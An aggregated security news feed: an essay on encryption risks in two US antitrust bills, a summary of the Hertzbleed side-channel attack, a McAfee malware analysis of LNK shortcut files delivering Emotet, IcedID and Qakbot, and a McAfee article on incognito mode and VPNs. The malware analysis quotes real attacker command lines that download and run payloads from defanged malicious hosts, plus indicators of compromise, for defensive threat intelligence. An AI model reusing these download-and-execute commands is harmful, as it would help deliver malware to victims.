News

Forescout warns of widespread “insecure-by-design” practices

It took three years, but the Capital One cracker was convicted in the end. Don’t get caught out in a data breach of your own!

Traditional vulnerability management programs are outdated, with little to no innovation in the last two decades. Today’s dynamic IT environment demands an advanced vulnerability management program to deal with the complex attack surface and curb security risks.

Researchers have discovered that a Kazakhstan government entity deployed sophisticated Italian spyware within its borders.

A reported a “potentially dangerous piece of functionality” allows an attacker to launch an attack on cloud infrastructure and ransom files stored in SharePoint and OneDrive.

Attackers are targeting a number of key vertical markets in the U.S. with the active campaign, which impersonates the organization and Microsoft to lift Office365 and Outlook log-in details.

Two bills attempting to reduce the power of Internet monopolies are currently being debated in Congress: S. 2992, the American Innovation and Choice Online Act; and S. 2710, the Open App Markets Act. Reducing the power to tech monopolies would do more to “fix” the Internet than any other single action, and I am generally in favor of them both. (The Center for American Progress wrote a good summary and evaluation of them. I have written in support of the bill that would force Google and Apple to give up their monopolies on their phone app stores.)

There is a significant problem, though. Both bills have provisions that could be used to break end-to-end encryption.

Let’s start with S. 2992. Sec. 3(c)(7)(A)(iii) would allow a company to deny access to apps installed by users, where those app makers “have been identified [by the Federal Government] as national security, intelligence, or law enforcement risks.” That language is far too broad. It would allow Apple to deny access to an encryption service provider that provides encrypted cloud backups to the cloud (which Apple does not currently offer). All Apple would need to do is point to any number of FBI materials decrying the security risks with “warrant proof encryption.”

Sec. 3(c)(7)(A)(vi) states that there shall be no liability for a platform “solely” because it offers “end-to-end encryption.” This language is too narrow. The word “solely” suggests that offering end-to-end encryption could be a factor in determining liability, provided that it is not the only reason. This is very similar to one of the problems with the encryption carve-out in the EARN IT Act. The section also doesn’t mention any other important privacy-protective features and policies, which also shouldn’t be the basis for creating liability for a covered platform under Sec. 3(a).

In Sec. 2(a)(2), the definition of business user excludes any person who “is a clear national security risk.” This term is undefined, and as such far too broad. It can easily be interpreted to cover any company that offers an end-to-end encrypted alternative, or a service offered in a country whose privacy laws forbid disclosing data in response to US court-ordered surveillance. Again, the FBI’s repeated statements about end-to-end encryption could serve as support.

Finally, under Sec. 3(b)(2)(B), platforms have an affirmative defense for conduct that would otherwise violate the Act if they do so in order to “protect safety, user privacy, the security of nonpublic data, or the security of the covered platform.” This language is too vague, and could be used to deny users the ability to use competing services that offer better security/privacy than the incumbent platform—particularly where the platform offers subpar security in the name of “public safety.” For example, today Apple only offers unencrypted iCloud backups, which it can then turn over governments who claim this is necessary for “public safety.” Apple can raise this defense to justify its blocking third-party services from offering competing, end-to-end encrypted backups of iMessage and other sensitive data stored on an iPhone.

S. 2710 has similar problems. Sec 7. (6)(B) contains language specifying that the bill does not “require a covered company to interoperate or share data with persons or business users that…have been identified by the Federal Government as national security, intelligence, or law enforcement risks.” This would mean that Apple could ignore the prohibition against private APIs, and deny access to otherwise private APIs, for developers of encryption products that have been publicly identified by the FBI. That is, end-to-end encryption products.

I want those bills to pass, but I want those provisions cleared up so we don’t lose strong end-to-end encryption in our attempt to reign in the tech monopolies.

Hertzbleed is a new side-channel attack that works against a variety of microprocressors. Deducing cryptographic keys by analyzing power consumption has long been an attack, but it’s not generally viable because measuring power consumption is often hard. This new attack measures power consumption by measuring time, making it easier to exploit.

The team discovered that dynamic voltage and frequency scaling (DVFS)—a power and thermal management feature added to every modern CPU—allows attackers to deduce the changes in power consumption by monitoring the time it takes for a server to respond to specific carefully made queries. The discovery greatly reduces what’s required. With an understanding of how the DVFS feature works, power side-channel attacks become much simpler timing attacks that can be done remotely.

The researchers have dubbed their attack Hertzbleed because it uses the insights into DVFS to expose­or bleed out­data that’s expected to remain private.

[…]

The researchers have already shown how the exploit technique they developed can be used to extract an encryption key from a server running SIKE, a cryptographic algorithm used to establish a secret key between two parties over an otherwise insecure communications channel.

The researchers said they successfully reproduced their attack on Intel CPUs from the 8th to the 11th generation of the Core microarchitecture. They also claimed that the technique would work on Intel Xeon CPUs and verified that AMD Ryzen processors are vulnerable and enabled the same SIKE attack used against Intel chips. The researchers believe chips from other manufacturers may also be affected.

Authored by Lakshya Mathur

An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, also many people have built “lnkbombs” tools specifically for malicious purposes.

During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.

In this blog, we will see how LNK files are being used to deliver malware such as Emotet, Qakbot, and IcedID.

Below is a screenshot of how these shortcut files look to a normal user.

LNK THREAT ANALYSIS & CAMPAIGNS

With Microsoft disabling office macros by default malware actors are now enhancing their lure techniques including exploiting LNK files to achieve their goals.

Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files.

We will go through three recent malware campaigns Emotet, IcedID, and Qakbot to see how dangerous these files can be.

 

EMOTET

Infection-Chain

Threat Analysis

In Figure 4 we can see the lure message and attached malicious LNK file.

The user is infected by manually accessing the attached LNK file. To dig a little deeper, we see the properties of the LNK file:

As seen in Figure 5 the target part reveals that LNK invokes the Windows Command Processor (cmd.exe). The target path as seen in the properties is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can that this advantage and pass on long arguments as they will be not visible in the properties.

In our case the argument is /v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%YlScZcZKeP.vbs” & “%tmp%YlScZcZKeP.vbs”

Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs

The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload.

The downloaded DLL is then finally executed using the REGSVR32.EXE utility which is similar behavior to the excel(.xls) based version of the emotet.

ICEDID

Infection-Chain

Threat Analysis

This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities target their victims.

Here, PowerShell LNK has a highly obfuscated parameter which can be seen in Figure 8 target part of the LNK properties

The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with argument hxxps://hectorcalle[.]com/093789.hta.

The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to Uri hxxps://hectorcalle[.]com/listbul.exe

The Uri downloads the IcedID installer 64-bit EXE payload under the %HOME% folder.

QAKBOT

Infection-Chain

Threat Analysis

This attack will show us how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads.

In Figure 10 the full target part argument is “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMPtest.dll;Start-Process rundll32.exe $env:TEMPtest.dll,jhbvygftr”

When this PowerShell LNK is invoked, it connects to hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png using the Invoke-WebRequest command and the download file is saved under the %temp% folder with the name test.dll

This is the main Qakbot DLL payload which is then executed using the rundll32 utility.

CONCLUSION

As we saw in the above three threat campaigns, it is understood that attackers abuse the windows shortcut LNK files and made them to be extremely dangerous to the common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen to be using PowerShell and CMD by which they can connect to malicious URLs to download malicious payloads.

We covered just three of the threat families here, but these files have been seen using other windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must give a thorough check while using LNK shortcut files. Consumers must keep their Operating system and Anti-Virus up to date. They should beware of phishing mail and clicking on malicious links and attachments.

IOC (Indicators of Compromise)

Type	SHA-256	Scanner
Emotet LNK	02eccb041972825d51b71e88450b094cf692b9f5f46f5101ab3f2210e2e1fe71	WSS	LNK/Emotet-FSE
IcedID LNK	24ee20d7f254e1e327ecd755848b8b72cd5e6273cf434c3a520f780d5a098ac9	WSS	LNK/Agent-FTA Suspicious ZIP!lnk
Qakbot LNK	b5d5464d4c2b231b11b594ce8500796f8946f1b3a10741593c7b872754c2b172	WSS	LNK/Agent-TSR
URLs (Uniform Resource Locator)	hxxps://creemo[.]pl/wp-admin/ZKS1DcdquUT4Bb8Kb/ hxxp://filmmogzivota[.]rs/SpryAssets/gDR/ hxxp://demo34.ckg[.]hk/service/hhMZrfC7Mnm9JD/ hxxp://focusmedica[.]in/fmlib/IxBABMh0I2cLM3qq1GVv/ hxxp://cipro[.]mx/prensa/siZP69rBFmibDvuTP1/ hxxps://hectorcalle[.]com/093789.hta hxxps://hectorcalle[.]com/listbul.exe hxxps://green-a-thon[.]com/LosZkUvr/B.png	WebAdvisor	All URLs Blocked

 

The post Rise of LNK (Shortcut files) Malware appeared first on McAfee Blog.

The internet makes it easy to get a lot done, but not all of it needs to be public. That’s where incognito mode comes in, letting you hide your search history from others who are using your internet-connected device. For example, imagine searching online for “ideas for a surprise birthday party.” You wouldn’t want the guest of honor to see that if they use your shared computer!  

What most people don’t realize, though, is that incognito mode or private browsing isn’t really private. If you want to have a private browsing session, it helps to understand what incognito mode does and doesn’t do. 

In this article, we’ll explain what incognito mode is, how to turn it on using different search engines and mobile devices, and why a VPN like McAfee Secure VPN might be a better option for safeguarding your privacy. 

What is incognito mode?

When you search the internet, your web browser automatically saves the history of your searches. In incognito mode, however, it deletes this information when you end the session.  

Google Chrome coined “incognito mode,” so the term is pretty popular. Other web browsers might refer to it differently. For example, Firefox calls it “private mode,” while Safari uses the term “private browsing.”  

What does incognito mode hide?

When you search the internet in private browsing mode, your browser won’t save the history of the websites once you close all of the incognito tabs. This deleted information might include: 

• Browsing history, which is a list of the websites you recently visited 
• Cookies, which are small files websites use to remember you and your login information 
• Site data, which is information entered on a website’s forms 

What browsing history data is visible with incognito mode?

Incognito mode can be super convenient but, as we said, it’s not really private. While it’s true that anyone using your device won’t be able to view your history, your browsing can still be viewed by outside eyes, like:  

• Internet service providers (ISP): The company that provides your internet service knows every site you’ve visited. If they receive a subpoena from law enforcement, they’ll have to turn over that data. 

• Websites: Even if you’re in incognito mode, your ISP shares your internet protocol (IP) address with the websites you visit. The IP address is a unique number that identifies an internet-enabled device. Anyone with your IP address can determine the city, or possibly the neighborhood, where you live. The only way to conceal your IP address when browsing is to use a virtual private network like McAfee Secure VPN. 
• School or company networks: If you use a network run by your school or employer, they can see your browsing history even if you’re in incognito mode. 
• Websites you log into: When you’re in incognito mode and log into a website like Twitter, you won’t be anonymous. The site can also share your data with other websites. 

How to turn on incognito mode

Every major browser and mobile device has a type of private browsing. Here’s how to access incognito mode in a few different ways. 

Private browsing in Google Chrome

It’s easy to launch a search in incognito mode in Google Chrome. Just follow these steps:  

1. Open the Chrome browser on your device. 
2. Click the three vertical dots in the upper-right corner of the window. 
3. Select “New Incognito Window.”  
4. Or use a keyboard shortcut: In Windows, Linux, or Chrome, press Ctrl + Shift + N. On a Mac, press ⌘ + Shift + N. 

You’ll know you’re in Chrome’s incognito mode by the black background and spy icon on the homepage. Here, Chrome reminds you of what incognito mode will and won’t do.  

There is also a toggle to block third-party cookies. When you visit different websites while in incognito mode, websites can track your movement. They might use that data to target ads based on your search history. When you enable third-party cookie blocking, it stops sites from sharing cookies and data. 

Private browsing on your Android device

Here’s how to set it up in the Google Chrome browser for your Android (note that the Google Chrome app is the default browser for most Android phones): 

1. Open Chrome. 
2. Tap the three dots at the top-right corner of the screen. 
3. Tap “New incognito tab.” This will open up a new incognito window. 
4. Close the incognito window to end the incognito session. 

Remember, for Google Chrome’s incognito mode to do the trick, you need to close your browsing session after each use. If you leave the tab open and someone else uses your phone, they can see your activity. 

Private browsing in Mozilla Firefox

What Chrome calls “incognito mode,” Mozilla Firefox refers to as “private browsing.” There are a couple of ways to launch a private window using the steps below: 

1. Open Mozilla on your browser. 
2. Click the three horizontal lines in the top-right corner. 
3. Select “New Private Window.” 
4. Or use the keyboard shortcut Ctrl + Shift + P in Windows. On a Mac, press Command + Shift + P. 

The private browsing window has a dark-purple background and a mask icon. This homepage also describes the limitations of private browsing. 

With its Enhanced Tracking Protection, Firefox blocks third-party tracking across sites. This is a default protection on Firefox, so cookies are blocked across sites no matter which privacy setting a user chooses. 

Private browsing in Apple Safari

Apple’s Safari was the first to introduce private browsing for Apple devices in 2005. Users have a couple of ways to open a private window on a Mac or an iOS device. They include: 

1. Go to the File menu and select “New Private Window.” 
2. The keyboard shortcut is to hold down Command + Shift + N. 
3. On an iPhone, open Safari. Tap the “Tabs” button (the two squares on the lower right). Tap “Private.” Tap “Done.” 

Your sign that you’re in a private browser window is a dark gray search bar. Like Firefox, Safari lets you block third-party tracking (you’ll just need to adjust your settings to do so). Choose Safari on your Mac. Go to “Preferences” and click “Privacy.” Then, select “Prevent cross-site tracking.” 

Private browsing on your iPhone

For iPhones, the default browser is Safari. Here’s how to set up private browsing in Safari for your iPhone: 

1. Open Safari. 
2. Tap the tab icon at the bottom right of the screen (it looks like two overlapping squares). 
3. Tap “private” at the bottom-left of the screen. 
4. To exit private mode, tap “private” again. 

Remember to close your browser’s private tabs when you’re done surfing. This makes sure that cookies are deleted and the private session is safely hidden from your device’s history. 

Why do people use incognito mode?

Doing a private search that erases your browsing history can be useful in certain situations. Because some cookies are deleted at the end of your search, you’ll see fewer ads than in a normal search.  

If there’s something you don’t want to keep in your browser history, like shopping for a gift for a relative, an incognito search can keep your activity private.  

It’s also a good idea to use incognito mode when using a public device or a borrowed computer to protect your data.  

Incognito mode is even helpful if you want to do a search that’s not influenced by your browsing history or to see your blog or website from a fresh perspective. 

Is incognito mode safe?

The terms “private search” and “incognito mode” sound great. But while your history is erased on your device, it’s still visible to the outside world. Even when you’re in incognito mode, websites, your ISP, and your network can still see your IP address and browsing history. 

Not to mention, it won’t delete any files you download, like malicious software. While someone using your device won’t be able to see your browsing history, incognito mode won’t be able to stop hackers and identity thieves in their tracks. 

If you really want to hide your computer’s IP address and browse privately while keeping your data safe, it’s a good idea to look into a VPN service, like McAfee Secure VPN. With our smart VPN, you can browse confidently and stay anonymous from advertisers and prying eyes. You’ll also benefit from bank-grade encryption and automatic protection on unsecured networks.  

Browse online confidently

If your goal is to keep prying eyes out of your browsing history, incognito browsing might not be enough. Use a McAfee Secure VPN for worry-free browsing.  

For added security, though, upgrade to McAfee Total Protection Ultimate and enjoy antivirus protection, identity monitoring, and more! 

The post What Is Incognito Mode and How Safe Is It? appeared first on McAfee Blog.